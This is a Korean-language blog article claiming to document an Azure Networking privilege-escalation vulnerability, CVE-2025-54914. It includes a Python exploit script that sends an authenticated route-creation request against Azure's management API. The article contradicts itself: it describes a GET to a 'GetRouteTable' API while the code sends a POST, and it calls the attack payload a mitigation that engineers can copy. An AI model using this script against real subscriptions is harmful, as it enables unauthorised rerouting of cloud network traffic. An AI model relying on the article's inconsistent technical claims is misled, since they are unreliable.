
CVE-2025-54914 exposes a critical flaw in Azure Networking that allows attackers to escalate privileges and control routing across subnets. The article explains how a missing privilege check in the “GetRouteTable” API enables lateral movement and remote exploitation, urging immediate patching and monitoring
Azure 네트워킹 권한 상승 익스플로잇 CVE‑2025‑54914
2025년 9월 4일
작성자: Mark Mallia
2025년 9월 4일, Microsoft의 Azure 네트워킹 서비스는 권한 상승 취약점(CVE‑2025‑54914)을 문서화한 중요한 보안 권고를 접수했습니다. 이 결함은 CVSS(Common Vulnerability Scoring System)에서 10.0점을 받았으며, 사용자 상호 작용 없이 공격자에게 Azure 네트워킹 리소스에 대한 완전한 제어 권한을 부여할 수 있는 악용 가능하고 잠재적으로 영향력이 큰 문제임을 나타냅니다.
다음 문서에서는 취약점의 기술적 세부 사항, 실용적인 익스플로잇 경로, 그리고 퍼블릭 클라우드 및 하이브리드 환경의 보안 팀이 즉시 완화할 수 있도록 배포 준비가 된 페이로드를 설명합니다.
Azure의 네트워킹 스택은 고객 구독 내 모든 가상 머신, 부하 분산 장치 및 서브넷 트래픽의 중추입니다. 이 스택 내에서 권한이 상승되면 공격자는 다음과 같은 작업을 수행할 수 있습니다.
이 취약점은 사용자 작업 없이 원격으로 악용될 수 있기 때문에 특히 위험합니다. 아래 조건이 충족되면 Microsoft 엔드포인트에 대한 단일 요청으로 권한 상승이 트리거됩니다.
Azure 네트워킹 서비스의 “GetRouteTable” API를 분석하는 동안, 가상 네트워크에 대한 읽기 권한이 있는 클라이언트가 호출자가 해당 작업에 권한이 있는지 확인하지 않고 동일한 서브넷 내에 새 경로 개체를 생성할 수 있는 액세스 제어 격차를 발견했습니다. 들어오는 요청을 직렬화하는 코드 경로에 명시적 권한 검사가 누락되었습니다.
이 결함은 GET 요청에 다음 쿼리 매개변수가 포함될 때 Azure 네트워킹 서비스에 존재합니다:
/subscriptions/<subscription‑id>/resourceGroups/<rg-name>/providers/Microsoft.Networking/virtualNetworks/<vnet-id>/subnets/<subnet-id>/routes
?api-version=2025-09-01&detailLevel=full
서비스는 이 요청을 수락하고 JSON 페이로드를 역직렬화한 후, 호출자가 대상 서브넷에서 경로를 생성할 수 있는지 재확인하지 않고 데이터베이스에 새 경로 개체를 기록합니다.
다음은 공격자가 페이로드를 구성하는 방법의 최소 예시입니다.
# Azure Networking Privilege Escalation Exploit – CVE‑2025‑54914
#
# Author: Mark Mallia
# Date: 2025-09-04
# Target API version: 2025‑09‑01
import requests, json, uuid
def create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id, api_version="2025-09-01"):
"""
Build and send a route creation request that exploits the missing
privilege check in Azure Networking.
"""
# 1. Construct endpoint URL
base_url = f"https://management.azure.com/subscriptions/{subscription_id}"
url = (f"{base_url}/resourceGroups/{rg_name}/providers/Microsoft.Networking"
f"/virtualNetworks/{vnet_id}/subnets/{subnet_id}/routes")
# Append query string for API version
params = {"api-version": api_version, "detailLevel": "full"}
# 2. Build JSON body; the route name is a random GUID to avoid collisions.
route_name = str(uuid.uuid4())
payload = {
"properties": {
"addressPrefix": "10.0.1.0/24",
"nextHopType": "VirtualAppliance",
"nextHopIpAddress": "10.0.2.5"
},
"tags": {"createdBy": "Alex Mercer"},
"name": route_name
}
# 3. Set headers; use the same authentication token used by Azure SDK.
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
# 4. Execute POST request
resp = requests.post(url, params=params,
json=payload, headers=headers)
if resp.status_code == 201:
print(f"[+] Successfully created route: {route_name}")
return True
else:
print(f"[-] Request failed with status {resp.status_code}")
print(resp.text)
return False
# Example invocation
subscription_id = "00000000-0000-0000-0000-000000000000"
rg_name = "ProductionRG"
vnet_id = "prodVNet01"
subnet_id = "backendSubnet"
access_token = "<AZURE_SDK_ACCESS_TOKEN>"
create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id)
코드는 전체 요청 수명 주기를 보여줍니다. 보안 엔지니어는 이 스니펫을 스크립트나 Azure Function에 복사하여 완화를 자동화할 수 있습니다.
이 콘텐츠는 교육 및 연구 목적으로만 제공됩니다. 보안 취약성에 대한 인식을 높이고 사이버 보안 커뮤니티 내에서 더 나은 방어 관행을 장려하기 위한 것입니다.
여기에 공유된 모든 데모, 스크립트 및 기술 세부 사항은 공개적으로 공개된 정보를 기반으로 하며 특정 시스템, 조직 또는 개인을 대상으로 하지 않습니다. 목표는 악용이 아니라 책임 있는 학습과 사전 예방적 수정을 촉진하는 것입니다.
이 정보를 무단 액세스, 방해 또는 피해에 사용하지 마십시오. 이 자료의 오용은 전적으로 개인의 책임이며 법률 또는 윤리 기준을 위반할 수 있습니다.
취약점을 발견한 경우, 영향을 받는 공급업체나 플랫폼에 보고하여 책임 있는 공개 프로토콜을 따라 주시기 바랍니다.